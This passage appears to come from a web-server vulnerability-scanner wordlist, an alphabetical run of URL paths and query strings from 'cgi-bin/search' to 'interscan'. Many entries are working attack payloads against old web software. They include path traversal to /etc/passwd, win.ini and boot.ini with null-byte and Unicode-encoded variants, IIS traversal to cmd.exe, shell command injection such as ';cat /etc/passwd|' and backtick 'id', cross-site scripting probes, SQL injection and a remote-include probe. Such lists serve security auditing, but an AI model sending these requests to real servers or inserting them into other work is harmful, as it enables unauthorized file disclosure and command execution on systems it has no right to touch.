-bin/search.cgi?..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\winnt\\\\win.ini\ncgi-bin/search.cgi?letter=\ncgi-bin/search.pl\ncgi-bin/search.pl?form=../../../../../../../../../../etc/passwd%00\ncgi-bin/search/search.cgi?keys=*&prc=any&catigory=../../../../../../../../../../../../etc\ncgi-bin/search/tidfinder.cgi?2956734\ncgi-bin/search97.vts\ncgi-bin/sendform.cgi\ncgi-bin/sendpage.pl\ncgi-bin/sendtemp.pl?templ=../../../../../../../../../../etc/passwd\ncgi-bin/sensepost.exe?/c+dir\ncgi-bin/session/adminlogin\ncgi-bin/sewse?/home/httpd/html/sewse/jabber/comment2.jse+/etc/passwd\ncgi-bin/sh\ncgi-bin/shop.cgi\ncgi-bin/shop.cgi?page=../../../../../../../etc/passwd\ncgi-bin/shop.pl/page=;cat%20shop.pl|\ncgi-bin/shop/auth_data/auth_user_file.txt\ncgi-bin/shop/orders/orders.txt\ncgi-bin/shopper.cgi\ncgi-bin/shopper.cgi?newpage=../../../../../../../../../../etc/passwd\ncgi-bin/shopplus.cgi?dn=domainname.com&cartid=%CARTID%&file=;cat%20/etc/passwd|\ncgi-bin/show.pl\ncgi-bin/shtml.dll\ncgi-bin/simple/view_page?mv_arg=|cat%20/etc/passwd|\ncgi-bin/simplestguest.cgi\ncgi-bin/simplestmail.cgi\ncgi-bin/smartsearch.cgi\ncgi-bin/smartsearch/smartsearch.cgi\ncgi-bin/snorkerz.bat\ncgi-bin/snorkerz.cmd\ncgi-bin/sojourn.cgi?cat=../../../../../../../../../../etc/password%00\ncgi-bin/spin_client.cgi?aaaaaaaa\ncgi-bin/ss\ncgi-bin/sscd_suncourier.pl\ncgi-bin/ssi\ncgi-bin/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\ncgi-bin/start.cgi/%3Cscript%3Ealert('Vulnerable');%3C/script%3E\ncgi-bin/stat.pl\ncgi-bin/stat/\ncgi-bin/stats-bin-p/reports/index.html\ncgi-bin/stats.pl\ncgi-bin/stats.prf\ncgi-bin/stats/\ncgi-bin/stats/statsbrowse.asp?filepath=c:\\&Opt=3\ncgi-bin/stats_old/\ncgi-bin/statsconfig\ncgi-bin/statsconfig.pl\ncgi-bin/statusconfig.pl\ncgi-bin/statview.pl\ncgi-bin/store.cgi?StartID=../../../../../../../../../../etc/passwd%00.html\ncgi-bin/store.cgi?StartID=../etc/hosts%00.html\ncgi-bin/store/agora.cgi?page=whatever33.html\ncgi-bin/store/index.cgi?page=../../../../../../../../etc/passwd\ncgi-bin/story.pl?next=../../../../../../../../../../etc/passwd%00\ncgi-bin/story/story.pl?next=../../../../../../../../../../etc/passwd%00\ncgi-bin/subscribe.pl\ncgi-bin/survey\ncgi-bin/survey.cgi\ncgi-bin/sws/admin.html\ncgi-bin/sws/manager.pl\ncgi-bin/tablebuild.pl\ncgi-bin/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1\ncgi-bin/tcsh\ncgi-bin/technote/main.cgi?board=FREE_BOARD&command=down_load&filename=/../../../../../../../../../../etc/passwd\ncgi-bin/test-cgi\ncgi-bin/test-cgi.bat\ncgi-bin/test-cgi.tcl\ncgi-bin/test-cgi?/*\ncgi-bin/test-env\ncgi-bin/test.bat\ncgi-bin/test.bat?|dir%20..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\\ncgi-bin/test.cgi\ncgi-bin/test/test.cgi\ncgi-bin/testcgi.exe\ncgi-bin/testing_whatever\ncgi-bin/texis.exe/junk\ncgi-bin/texis/junk\ncgi-bin/texis/phine\ncgi-bin/textcounter.pl\ncgi-bin/tidfinder.cgi\ncgi-bin/tigvote.cgi\ncgi-bin/title.cgi\ncgi-bin/tpgnrock\ncgi-bin/traffic.cgi?cfg=../../../../../../../../etc/passwd\ncgi-bin/troops.cgi\ncgi-bin/tst.bat\ncgi-bin/tst.bat\\dir\ncgi-bin/tst.bat|dir%20..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\,\ncgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../etc/passwd\ncgi-bin/ultraboard.cgi\ncgi-bin/ultraboard.pl\ncgi-bin/unlg1.1\ncgi-bin/unlg1.2\ncgi-bin/update.dpgs\ncgi-bin/upload.cgi\ncgi-bin/upload_file.pl\ncgi-bin/uptime\ncgi-bin/urlcount.cgi?%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28%27Vulnerable%27%29%22%3E\ncgi-bin/ustorekeeper.pl\ncgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd\ncgi-bin/utm/admin\ncgi-bin/utm/utm_stat\ncgi-bin/view-source\ncgi-bin/view-source?view-source\ncgi-bin/view_item?HTML_FILE=../../../../../../../../../../etc/passwd%00\ncgi-bin/view_page.html\ncgi-bin/viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\\\ncgi-bin/viewlogs.pl\ncgi-bin/viewsource?/etc/passwd\ncgi-bin/viralator.cgi\ncgi-bin/virgil.cgi\ncgi-bin/visadmin.exe\ncgi-bin/visadmin.exe?user=guest\ncgi-bin/visitor.exe\ncgi-bin/vote.cgi\ncgi-bin/vpasswd.cgi\ncgi-bin/w3-msql\ncgi-bin/w3-msql/\ncgi-bin/w3-sql\ncgi-bin/wais.pl\ncgi-bin/way-board.cgi?db=/etc/passwd%00\ncgi-bin/way-board/way-board.cgi?db=/etc/passwd%00\ncgi-bin/wconsole.dll\ncgi-bin/webais\ncgi-bin/webbbs.cgi\ncgi-bin/webbbs.exe\ncgi-bin/webbbs/webbbs_config.pl?name=joe&email=test@example.com&body=aaaaffff&followup=10;cat%20/etc/passwd\ncgi-bin/webcart/webcart.cgi?CONFIG=mountain&CHANGE=YES&NEXTPAGE=;cat%20/etc/passwd|&CODE=PHOLD\ncgi-bin/webdata.cgi\ncgi-bin/webdist.cgi\ncgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd\ncgi-bin/webdriver\ncgi-bin/webfind.exe?keywords=01234567890123456789\ncgi-bin/webgais\ncgi-bin/webif.cgi\ncgi-bin/webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00\ncgi-bin/webmap.cgi\ncgi-bin/webnews.pl\ncgi-bin/webplus.cgi?Script=/webplus/webping/webping.wml\ncgi-bin/webplus.exe\ncgi-bin/webplus.exe?about\ncgi-bin/webplus?about\ncgi-bin/webplus?script=../../../../../../../../../../etc/passwd\ncgi-bin/websendmail\ncgi-bin/webspirs.cgi\ncgi-bin/webspirs.cgi?sp.nextform=../../../../../../../../../../etc/passwd\ncgi-bin/webutil.pl\ncgi-bin/webutils.pl\ncgi-bin/webwho.pl\ncgi-bin/wguest.exe\ncgi-bin/whois.cgi?action=load&whois=%3Bid\ncgi-bin/whois.cgi?lookup=;&ext=/bin/cat%20/etc/passwd\ncgi-bin/whois/whois.cgi?lookup=;&ext=/bin/cat%20/etc/passwd\ncgi-bin/whois_raw.cgi\ncgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd\ncgi-bin/windmail\ncgi-bin/windmail.exe\ncgi-bin/wrap\ncgi-bin/wrap.cgi\ncgi-bin/ws_ftp.ini\ncgi-bin/www-sql\ncgi-bin/wwwadmin.pl\ncgi-bin/wwwboard.cgi.cgi\ncgi-bin/wwwboard.pl\ncgi-bin/wwwstats.pl\ncgi-bin/wwwthreads/3tvars.pm\ncgi-bin/wwwthreads/w3tvars.pm\ncgi-bin/wwwwais\ncgi-bin/zml.cgi?file=../../../../../../../../../../etc/passwd%00\ncgi-bin/zsh\ncgi-dos/args.bat\ncgi-dos/args.cmd\ncgi-home\ncgi-local\ncgi-local/cgiemail-1.4/cgicso?query=AAA\ncgi-local/cgiemail-1.6/cgicso?query=AAA\ncgi-perl\ncgi-shl/win-c-sample.exe\ncgi-shop/view_item?HTML_FILE=../../../../../../../../../../etc/passwd%00\ncgi-sys/FormMail-clone.cgi\ncgi-sys/addalink.cgi\ncgi-sys/cgiecho\ncgi-sys/cgiemail\ncgi-sys/countedit\ncgi-sys/domainredirect.cgi\ncgi-sys/entropybanner.cgi\ncgi-sys/entropysearch.cgi\ncgi-sys/helpdesk.cgi\ncgi-sys/mchat.cgi\ncgi-sys/randhtml.cgi\ncgi-sys/realhelpdesk.cgi\ncgi-sys/realsignup.cgi\ncgi-sys/scgiwrap\ncgi-sys/signup.cgi\ncgi-win\ncgi-win/cgitest.exe\ncgi-win/perl.exe\ncgi-win/uploader.exe\ncgi-win/wguest.exe\ncgi-win/wincgi.bat \ncgi/\ncgi/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\ncgi/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\ncgi/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\ncgi/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\ncgi/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\ncgi/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\ncgi/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\ncgi/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\ncgi/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\ncgi/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\ncgi/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\ncgi/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\ncgi/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\ncgi/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\ncgi/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\ncgi/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\ncgi/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\\windows\\win.ini\ncgi/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\\winnt\\win.ini\ncgi/cgiproc?\ncgi/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\ncgi/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir\ncgi/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir\ncgi/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir\ncgi/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir\ncgi/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir\ncgi/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir\ncgi/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir\ncgibin\ncgis/wwwboard/wwwboard.cgi\ncgis/wwwboard/wwwboard.pl\nchassis/config/GeneralChassisConfig.html\nchat/!nicks.txt\nchat/!pwds.txt\nchat/data/usr\nchat_dir/register.php\nchatlog.nsf\ncheckout_payment.php\nclass/mysql.class\nclbusy.nsf\ncldbdir.nsf\ncleartrust/ct_logon.asp?CTAuthMode=BASIC&CTLoginErrorMsg=xx&ct_orig_uri=\\\nclocktower/\nclusta4.nsf\nclusterframe.jsp\ncmd.exe?/c+dir%20c:\\\ncollect4.nsf\ncom\ncom/novell/gwmonitor/help/en/default.htm\ncom/novell/webaccess/help/en/default.htm\ncom/novell/webpublisher/help/en/default.htm\ncom1\ncom2\ncom3\ncom4\ncommon/browser.inc\ncommunique.asp\ncommunity/forumdisplay.php\ncommunity/index.php?analized=anything\ncommunity/member.php\ncompte.php\ncon/con\nconfig.inc\nconfig.php\nconfig/\nconfig/checks.txt\nconfig/html/cnf_gi.htm\nconfig/import.txt\nconfig/mountain.cfg\nconfig/orders.txt\nconsport.chl+\ncontent/base/build/explorer/none.php?..:..:..:..:..:..:..:etc:passwd:\ncontent/base/build/explorer/none.php?/etc/passwd\ncontents.php?new_language=elvish&mode=select\ncontents/extensions/asp/1\nconvert-date.php\ncount.cgi\ncounter\ncounter/1/n/n/0/3/5/0/a/123.gif\ncp/rac/nsManager.cgi\ncpa.nsf\ncpanel/\ncplogfile.log\ncpqlogin.htm\ncsPassword.cgi?command=remove%20\ncurrent/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00\ncurrent/modules.php?mod=fm&file=../../../../../../../../../../etc/passwd%00&bn=fm_d1\ncustdata/\ncustomerdata.nsf\ncutenews/comments.php\ncutenews/index.php?debug\ncutenews/search.php\ncutenews/shownews.php\nda.nsf\ndata.sql\ndata/member_log.txt\ndata/userlog/log.txt\ndatabase.nsf\ndatabase/\ndatabase/db2000.mdb\ndatabase/metacart.mdb\ndatabase/metacart.mdb+\ndatabases/\ndatabse.sql\ndb.nsf\ndb.php\ndb.sql\ndb/\ndb/users.dat\ndba4.nsf\ndbabble\ndbase/\ndc/auth_data/auth_user_file.txt\ndc/orders/orders.txt\ndcforum/dcforum.cgi?az=list&forum=../../../../../../../../../../etc/passwd%00\ndclf.nsf\ndcp/advertiser.php\ndcshop/auth_data/auth_user_file.txt\ndcshop/orders/orders.txt\ndecsadm.nsf\ndecsdoc.nsf\ndecslog.nsf\ndefault.asp\ndefault.asp%2e\ndefault.asp%2e%41sp\ndefault.asp%81\ndefault.asp+.htr\ndefault.asp.\ndefault.asp::$DATA\ndefault.asp\\\\\ndefault.htm%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htw?CiWebHitsFile=../../../../../../../../../win.ini&CiRestriction=none&CiHiliteType=Full\ndefault.nsf\ndefault.php\ndefines.php\ndemo/ojspext/events/globals.jsa\ndemo/sql/index.jsp\ndeny/\ndev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%00\ndirassist.nsf\ndirectory.php?dir=%3Bcat%20/etc/passwd\ndit.pl\ndltclnt.php\ndmin\ndmin.html\ndministration\ndms0\ndo_map\ndo_subscribe\ndoc/admin/index.php\ndoc/domguide.nsf\ndoc/dspug.nsf\ndoc/help4.nsf\ndoc/helpadmin.nsf\ndoc/helplt4.nsf\ndoc/internet.nsf\ndoc/javapg.nsf\ndoc/lccon.nsf\ndoc/migrate.nsf\ndoc/npn_admn.nsf\ndoc/npn_rn.nsf\ndoc/packages/\ndoc/readmec.nsf\ndoc/readmes.nsf\ndoc/rt/overview-summary.html\ndoc/smhelp.nsf\ndoc/srvinst.nsf\ndoc/webmin.config.notes\ndocs/\ndocs/NED\ndocs/NED?action=retrieve&location=.\ndocs/sdb/en/html/index.html\ndocs/showtemp.cfm?TYPE=JPEG&FILE=c:\\boot.ini\ndocument/\ndocuments/\ndoladmin.nsf\ndols_help.nsf\ndomadmin.nsf\ndomcfg.nsf\ndomguide.nsf\ndomlog.nsf\ndostuff.php?action=modify_user\ndotproject/modules/files/index_table.php\ndotproject/modules/projects/addedit.php\ndotproject/modules/projects/view.php\ndotproject/modules/projects/vw_files.php\ndotproject/modules/tasks/addedit.php\ndotproject/modules/tasks/viewgantt.php\ndown/\ndownload.php?op=viewdownload\ndownload/\ndownloads/\ndownloads/pafiledb.php?action=download&id=4?\\\ndownloads/pafiledb.php?action=email&id=4?\\\ndownloads/pafiledb.php?action=rate&id=4?\\\ndspug.nsf\nedittag/edittag.cgi?file=%2F..%2F..%2F..%2F..%2F..%2Fetc/passwd\nemail.php\nemailfriend/emailarticle.php?id=\\\nemailfriend/emailfaq.php?id=\\\nemailfriend/emailnews.php?id=\\\nembers\nemml_email_func.php\nemp\nemumail.cgi?type=.%00\nenter_bug.cgi\nentete.php\nenteteacceuil.php\neports\nerl\nerl.exe\nerlshop.cgi\nerror/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini\nerror/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini\nerror/HTTP_NOT_FOUND.html.var\nerrors/needinit.php?GALLERY_BASEDIR=http://xxxxxxxx/\nest\nest-cgi\nesting\nestricted\neta\netc/passwd\netc/shadow+\nev\nevel\nevelopment\nevent.nsf\neventcal2.php.php\nevents.nsf\nevents4.nsf\nevents5.nsf\new\news/ews/architext_query.pl\nex/jsp/simple.jsp.\nexair/howitworks/Code.asp\nexamples/applications/bboard/bboard_frames.html\nexamples/basic/servlet/HelloServlet\nexamples/context\nexamples/cookie\nexamples/forward1\nexamples/forward2\nexamples/header\nexamples/include1\nexamples/info\nexamples/jsp/index.html\nexamples/jsp/num/numguess.js%70\nexamples/jsp/snp/anything.snp\nexamples/jsp/snp/snoop.jsp\nexamples/jsp/source.jsp??\nexamples/servlet/AUX\nexamples/servlet/TroubleShooter\nexamples/servlets/index.html\nexamples/session\nexchange/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nexchange/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\nexchange/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\nexchange/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\nexchange/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\nexchange/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\nexchange/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\nexchange/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\nexchange/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nexchange/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir\nexchange/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir\nexchange/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir\nexchange/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir\nexchange/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir\nexchange/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir\nexchange/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir\nexchange/lib/AMPROPS.INC\nexchange/lib/ATTACH.INC\nexchange/lib/DELETE.INC\nexchange/lib/GETREND.INC\nexchange/lib/GETWHEN.INC\nexchange/lib/JSATTACH.INC\nexchange/lib/JSROOT.INC\nexchange/lib/JSUTIL.INC\nexchange/lib/LANG.INC\nexchange/lib/PAGEUTIL.INC\nexchange/lib/PUBFLD.INC\nexchange/lib/RENDER.INC\nexchange/lib/SESSION.INC\nexchange/lib/logon.inc\nexchange/root.asp?acs=anon\nexec/show/config/cr\next.dll?MfcIsapiCommand=LoadPage&page=admin.hts%20&a0=add&a1=root&a2=%5C\next.ini.%00.txt\nextcounter.pl\nez2000/ezadmin.cgi\nez2000/ezboard.cgi\nez2000/ezman.cgi\nezhttpbench.php?AnalyseSite=/etc/passwd&NumLoops=1\nfaqman/index.php\nfdispaly.cgi\nfdisplay.cgi\nfforum/\nfile/index.jsp\nfilemanager/filemanager_forms.php\nfilemanager/index.php3\nfilemgmt/brokenfile.php\nfilemgmt/singlefile.php\nfilemgmt/viewcat.php\nfilemgmt/visit.php\nfinance.xls\nfinances.xls\nfoo.php3\nforo/YaBB.pl\nforum-ra.asp?n=/.\\\nforum-ra_professionnel.asp?n=/.\\\nforum.asp?n=/.\\\nforum/admin/database/wwForum.mdb\nforum/admin/wwforum.mdb\nforum/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK\nforum/common.php\nforum/mainfile.php\nforum/member.php\nforum/memberlist.php?s=23c37cf1af5d2ad05f49361b0407ad9e&what=\\\nforum/newreply.php\nforum/newthread.php\nforum/viewtopic.php\nforum1.asp?n=/.\\\nforum1_professionnel.asp?n=/.\\\nforum_arc.asp?n=/.\\\nforum_members.asp?find=%22;}alert('Vulnerable');function%20x(){v%20=%22\nforum_professionnel.asp?n=/.\\\nforums/@ADMINconfig.php\nforums/config.php\nforumscalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22\nforumzcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22\nfpdb/shop.mdb\nfs\nftp/\nfunctions.inc.php+\nfx\ngallery/captionator.php\nganglia/\ngb/index.php?login=true\ngeeklog/users.php\ngeneral.chl+\nget_od_toc.pl\ngetaccess\ngetfile.cfm\ngirl/\ngirls/\ngiwrap\nglimpse\nglobal\nglobal.asa\nglobal.asa+.htr\nglobal.inc\nglobals.jsa\nglobals.php3\nglobals.pl\ngroup.nsf\ngroups.nsf\nguest.exe\nguestbook/admin.php\nguestbook/admin/o12guest.mdb\nguestbook/guestbook.html\nguestbook/guestbookdat\nguestbook/pwd\nhead.css\nhelp.html\nhelp/contents.htm\nhelp/domguide.nsf\nhelp/dspug.nsf\nhelp/help4.nsf\nhelp/helpadmin.nsf\nhelp/helplt4.nsf\nhelp/home.html\nhelp/internet.nsf\nhelp/javapg.nsf\nhelp/lccon.nsf\nhelp/migrate.nsf\nhelp/npn_admn.nsf\nhelp/npn_rn.nsf\nhelp/readmec.nsf\nhelp/readmes.nsf\nhelp/smhelp.nsf\nhelp/srvinst.nsf\nhelp4.nsf\nhelp5_admin.nsf\nhelp5_client.nsf\nhelp5_designer.nsf\nhelpadmin.nsf\nhelperfunction.php\nhelplt4.nsf\nhf\nhidden.nsf\nhire/\nhola/admin/cms/htmltags.php?datei=./sec/data.php\nhome.php?arsc_language=elvish\nhomebet/homebet.dll?form=menu&amp;option=menu-signin\nhomepage.nsf\nhorde/imp/test.php\nhorde/test.php\nhorde/test.php?mode=phpinfo\nhostadmin/?page='\nhostingcontroller/\nhosts.dat\nhp\nht_root/wwwroot/-/local/httpd$map.conf\nhtdocs/\nhtforumcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22\nhtml\nhtml/cgi-bin/cgicso?query=AAA\nhtml/snort2html.html\nhtmltonuke.php\nhtpasswd\niNotes/Forms5.nsf\niNotes/Forms5.nsf/$DefaultNav\nicons/\nics\nidea/\nidealbb/error.asp?|-|0|404_Object_Not_Found\nideas/\niew-source\niisadmin \niisadmin/\niisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ \niisadmpwd/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ \niisadmpwd/..%255c..%255cwinnt/system32/cmd.exe?/c+dir\niisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ \niisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ \niisadmpwd/..%c0%af../winnt/system32/cmd.exe?/c+dir\niisadmpwd/achg.htr\niisadmpwd/aexp.htr\niisadmpwd/aexp2.htr\niisadmpwd/aexp2b.htr\niisadmpwd/aexp3.htr\niisadmpwd/aexp4.htr\niisadmpwd/aexp4b.htr\niisadmpwd/anot.htr\niisadmpwd/anot3.htr\niisamples/Sdk \niishelp/iis/misc/iirturnh.htw\niisprotect/admin/SiteAdmin.ASP?|-|0|404_Object_Not_Found\niissamples \niissamples/Default \niissamples/ExAir \niissamples/ISSamples \niissamples/exair/howitworks/Code.asp\niissamples/exair/howitworks/Codebrw1.asp\niissamples/exair/howitworks/Winmsdp.exe\niissamples/exair/howitworks/code.asp\niissamples/exair/howitworks/codebrws.asp\niissamples/exair/howitworks/showcode.asp\niissamples/exair/search/advsearch.asp\niissamples/exair/search/qfullhit.htw\niissamples/exair/search/qfullhit.htw?CiWebHitsFile=/../../winnt/system32/config/system.log&CiRestriction=none&CiHiliteType=Full\niissamples/exair/search/qsumrhit.htw\niissamples/exair/search/query.asp\niissamples/exair/search/query.idq\niissamples/exair/search/query.idq?CiTemplate=../../../../../../../../../../winnt/win.ini\niissamples/exair/search/search.asp\niissamples/exair/search/search.idq\niissamples/exair/search/search.idq?CiTemplate=../../../../../../../../../../winnt/win.ini\niissamples/iissamples/query.asp\niissamples/issamples/SQLQHit.asp\niissamples/issamples/Winmsdp.exe\niissamples/issamples/codebrws.asp\niissamples/issamples/fastq.idq\niissamples/issamples/fastq.idq?CiTemplate=../../../../../../../../../../winnt/win.ini\niissamples/issamples/ixqlang.htm\niissamples/issamples/oop/qfullhit.htw\niissamples/issamples/oop/qfullhit.htw?CiWebHitsFile=/../../winnt/system32/config/system.log&CiRestriction=none&CiHiliteType=Full\niissamples/issamples/oop/qfullhit.htw?CiWebHitsFile=/iissamples/issamples/oop/qfullhit.htw&CiRestriction=none&CiHiliteType=Full\niissamples/issamples/oop/qsumrhit.htw\niissamples/issamples/oop/qsumrhit.htw?CiWebHitsFile=/iissamples/issamples/oop/qsumrhit.htw&CiRestriction=none&CiHiliteType=Full\niissamples/issamples/query.asp\niissamples/issamples/query.idq\niissamples/issamples/query.idq?CiTemplate=../../../../../../../../../../winnt/win.ini\niissamples/issamples/sqlqhit.asp\niissamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/bogus_directory/nonexistent.asp\niissamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/default.asp\niissamples/sdk/asp/docs/Winmsdp.exe\niissamples/sdk/asp/docs/Winmsdp.exe?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/bogus_directory/nonexistent.asp\niissamples/sdk/asp/docs/Winmsdp.exe?Source=/IISSAMPLES/%c0%ae%c0%ae/default.asp\niissamples/sdk/asp/docs/codebrw2.asp\niissamples/sdk/asp/docs/codebrws.asp\nilemail.pl\niles.pl\nimage/\nimages/\nimages/?pattern=/etc/*&sort=name\nimg-sys/\nimg/\nimp/horde/test.php\nimp/horde/test.php?mode=phpinfo\nimp/mailbox.php3?actionID=6&server=x&imapuser=x';somesql+--&pass=x\nimprimer.asp?no=/.\\\nin\ninc/\ninc/common.load.php\ninc/config.php\ninc/dbase.php\ninc/sendmail.inc\ninclude.php?path=contact.php&contact_email=\\\ninclude/\ninclude/css.css\ninclude/customize.php\ninclude/head.html\ninclude/help.php\ninclude/inc/\ninclude/oci8.php?inc_dir=<a class=\nincludes/\nincludes/footer.php3\nincludes/global.inc\nincludes/header.php3\nindex.JSP\nindex.asp%2e\nindex.asp%2e%41sp\nindex.asp%81\nindex.asp+.htr\nindex.asp.\nindex.asp::$DATA\nindex.asp\\\\\nindex.html%20\nindex.html.bak\nindex.html.ca\nindex.html.cz.iso8859-2\nindex.html.de\nindex.html.dk\nindex.html.ee\nindex.html.el\nindex.html.en\nindex.html.es\nindex.html.et\nindex.html.fr\nindex.html.he.iso8859-8\nindex.html.hr.iso8859-2\nindex.html.it\nindex.html.ja.iso2022-jp\nindex.html.kr.iso2022-kr\nindex.html.ltz.utf8\nindex.html.lu.utf8\nindex.html.nl\nindex.html.nn\nindex.html.no\nindex.html.po.iso8859-2\nindex.html.pt\nindex.html.pt-br\nindex.html.ru.cp-1251\nindex.html.ru.cp866\nindex.html.ru.iso-ru\nindex.html.ru.koi8-r\nindex.html.ru.utf8\nindex.html.se\nindex.html.tw\nindex.html.tw.Big5\nindex.html.var\nindex.html~\nindex.js%2570\nindex.jsp%00x\nindex.php.bak\nindex.php/123\nindex.php/\\\nindex.php3.%5c../..%5cconf/httpd.conf\nindex.php3?vhosts[test]=\nindex.php?IDAdmin=test\nindex.php?SqlQuery=test%20\nindex.php?action=search&searchFor=\\\nindex.php?base=test%20\nindex.php?chemin=..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fetc\nindex.php?download=/etc/passwd\nindex.php?download=/windows/win.ini\nindex.php?download=/winnt/win.ini\nindex.php?file=Liens&op=\\\nindex.php?file=index.php\nindex.php?l=forum/view.php&topic=../../../../../../../../../etc/passwd\nindex.php?module=My_eGallery\nindex.php?page=../../../../../../../../../../boot.ini\nindex.php?page=../../../../../../../../../../etc/passwd\nindex.php?pymembs=admin\nindex.php?sql_debug=1\nindex.php?tampon=test%20\nindex.php?vo=\nindex.php?|=../../../../../../../../../etc/passwd\nindex.php~\ninfos/contact/index.asp\ninfos/faq/index.asp\ninfos/gen/index.asp\ninfos/services/index.asp\ninger\ninstaboard/index.cfm\ninstall/\ninstantwebmail/message.php\ninterchange/\ninternal.sws?../../winnt/win.ini\ninternet.nsf\ninterscan/\ninterscan